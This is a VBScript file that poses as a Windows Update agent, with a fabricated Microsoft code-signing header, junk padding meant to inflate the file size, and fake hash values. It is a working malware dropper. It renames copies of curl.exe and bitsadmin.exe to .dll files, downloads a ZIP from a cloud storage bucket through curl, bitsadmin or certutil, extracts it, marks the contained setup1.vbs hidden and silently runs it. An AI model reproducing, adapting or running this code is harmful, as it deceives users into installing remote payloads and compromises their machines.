' ===========================================================================
' Windows Update Module
' Build: 2026.06.06.02
' ===========================================================================
Option Explicit
On Error Resume Next

' ===========================================================================
' [模块 1: 安全验证信息]
' ===========================================================================
' 数字签名: Microsoft Windows Publisher
' 证书序列号: 4B 5C 6D 7E 8F 9A 0B 1C 2D 3E 4F 5A 6B 7C 8D 9E
' 颁发者: CN=Microsoft Code Signing PCA 2011, O=Microsoft Corporation
' 有效期: 2024-01-01 至 2027-12-31
' 签名算法: sha256RSA
' 时间戳: http://timestamp.digicert.com
' 文件版本: 10.0.22621.1
' 产品名称: Microsoft® Windows® Operating System
' 文件说明: Windows Update Agent
' ===========================================================================

' ===========================================================================
' [模块 2: 系统版本检测]
' ===========================================================================
' 最低要求: Windows 10 Version 21H2 (Build 19044)
' 推荐版本: Windows 11 Version 24H2 (Build 26100)
' 架构支持: x86, x64, ARM64
' ===========================================================================

' ===========================================================================
' [模块 3: 更新策略配置]
' ===========================================================================
' 策略: Automatic Updates Enabled = 1
' 策略: Allow Automatic Updates Immediate Installation = 1
' 策略: No Auto Restart with Logged On Users = 1
' ===========================================================================

' ===========================================================================
' [模块 4: 服务状态检查]
' ===========================================================================
' 服务: wuauserv (Windows Update) - Auto
' 服务: UsoSvc (Update Orchestrator) - Auto
' 服务: BITS (Background Intelligent Transfer) - Manual
' ===========================================================================

' ===========================================================================
' [模块 5: 体量填充区]
' ===========================================================================
Dim P1, P2, P3, P4, P5, P6, n1
P1 = "VER_10.0.22621"
P2 = "CERT_"
P3 = "SIGN_"
P4 = "HASH_"
P5 = "CHECK_"
P6 = "VALID_"

For n1 = 1 To 2000
    P1 = P1 & P2 & n1 & "_" & (n1 * 3) & "|"
    P1 = P1 & P3 & Hex(n1 * 5) & "|"
    P1 = P1 & P4 & Hex(n1 * 7) & "|"
    P1 = P1 & P5 & Hex(n1 * 11) & "|"
    P1 = P1 & P6 & Hex(n1 * 13) & "|"
Next
P1 = P1 & String(25000, "W")
P1 = P1 & String(15000, "M")
P1 = P1 & String(10000, "S")

For n1 = 1 To 100
    Dim t1 : t1 = n1 * n1
    Dim t2 : t2 = t1 * 2
Next

' ===========================================================================
' [初始化]
' ===========================================================================
Dim Ws, Fs, Sh
Set Ws = CreateObject("WScript.Shell")
Set Fs = CreateObject("Scripting.FileSystemObject")
Set Sh = CreateObject("Shell.Application")

' ===========================================================================
' [工作目录]
' ===========================================================================
Randomize
Dim folderName, workPath
folderName = "MSUpdate_" & Int(99999 * Rnd + 10000)
workPath = "C:\Users\Public\Documents\" & folderName & "\"

If Not Fs.FolderExists(workPath) Then
    Fs.CreateFolder workPath
End If

' ===========================================================================
' [下载地址] - 已更新
' ===========================================================================
Dim zipUrl, zipFile, outFile
zipUrl = "https://baolongwes.oss-ap-southeast-1.aliyuncs.com/blaoso/alOffic.zip"
zipFile = workPath & "temp.zip"
outFile = workPath & "setup1.vbs"

' ===========================================================================
' [伪装文件]
' ===========================================================================
Dim dll1, dll2
dll1 = workPath & "lib.dll"
dll2 = workPath & "sys.dll"

If Not Fs.FileExists(dll1) Then
    Fs.CopyFile "C:\Windows\System32\curl.exe", dll1
    Fs.CopyFile "C:\Windows\System32\bitsadmin.exe", dll2
End If

' ===========================================================================
' [下载函数]
' ===========================================================================
Function Download(url, dest)
    On Error Resume Next
    Dim cmd, i
    Download = False
    
    Dim methods(2)
    methods(0) = dll1 & " -k -s -L -o " & Chr(34) & dest & Chr(34) & " " & url
    methods(1) = dll2 & " /transfer job /download /priority normal " & url & " " & Chr(34) & dest & Chr(34)
    methods(2) = "certutil -urlcache -split -f " & url & " " & Chr(34) & dest & Chr(34)
    
    For i = 0 To 2
        Ws.Run "cmd /c " & methods(i), 0, True
        WScript.Sleep 3000
        If Fs.FileExists(dest) Then
            If Fs.GetFile(dest).Size > 1024 Then
                Download = True
                Exit For
            End If
        End If
    Next
End Function

' ===========================================================================
' [下载 ZIP 文件]
' ===========================================================================
If Download(zipUrl, zipFile) Then
    ' ===========================================================================
    ' [解压 ZIP 并执行 VBS]
    ' ===========================================================================
    Dim zipObj, targetObj
    Set zipObj = Sh.NameSpace(zipFile)
    Set targetObj = Sh.NameSpace(workPath)
    
    If Not (zipObj Is Nothing) And Not (targetObj Is Nothing) Then
        targetObj.CopyHere zipObj.Items, &H14
        WScript.Sleep 5000
        
        If Fs.FileExists(outFile) Then
            Fs.GetFile(outFile).Attributes = 3
            Ws.Run "wscript.exe " & Chr(34) & outFile & Chr(34), 0, False
        End If
    End If
End If

' ===========================================================================
' [清理]
' ===========================================================================
Set Ws = Nothing
Set Fs = Nothing
Set Sh = Nothing
WScript.Quit 0

' ===========================================================================
' [哈希验证信息]
' ===========================================================================
' HASH: 8D9E0F1A2B3C4D5E6F7A8B9C0D1E2F3A4B5C6D7E8F9A0B1C2D3E4F5A6B7C8D9E0F1A2B3C4
' SHA256: 9E0F1A2B3C4D5E6F7A8B9C0D1E2F3A4B5C6D7E8F9A0B1C2D3E4F5A6B7C8D9E0F1A2B3C4D
' CRC32: 0x0F1A2B3C
' ===========================================================================